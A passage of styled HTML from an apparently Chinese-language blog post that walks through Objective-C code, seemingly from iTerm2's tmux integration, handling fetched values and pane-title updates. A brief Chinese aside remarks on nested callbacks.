!important;white-space: inherit !important;">*)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">value </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DLog</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Did fetch %@&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> value</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(!</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">value</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="com" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// Probably the pane went away and we&#39;ll be dealloced soon.</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    _haveOutstandingRequest </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> NO</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_variableName</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">scope setValue</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">value forVariableNamed</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_variableName</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_block</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        _block</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">value</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">这咋是个回调-回调函数....</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">block</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:^(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_Nonnull</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> title</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                     </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">title</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                         </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">weakSelf setSessionSpecificProfileValues</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@{</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> KEY_TMUX_PANE_TITLE</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> title </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">?:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                         </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">weakSelf</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">delegate</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sessionDidUpdatePaneTitle</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                     </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                 </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}];</span></code></span></span></p></li><li><p><br/></p></li><li><p><br/></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">BOOL</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">onUpdateTitle </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmuxPaneTitle </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> stringForKey</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">KEY_TMUX_PANE_TITLE</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(!</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmuxPaneTitle</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> NO</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">([</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_profileNameFieldForEditCurrentSession textFieldIsFirstResponder</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&amp;&amp;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> _profileNameFieldForEditCurrentSession</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">window</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">isKeyWindow</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="com" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// Don&#39;t allow it to change to a server-set value during editing.</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit 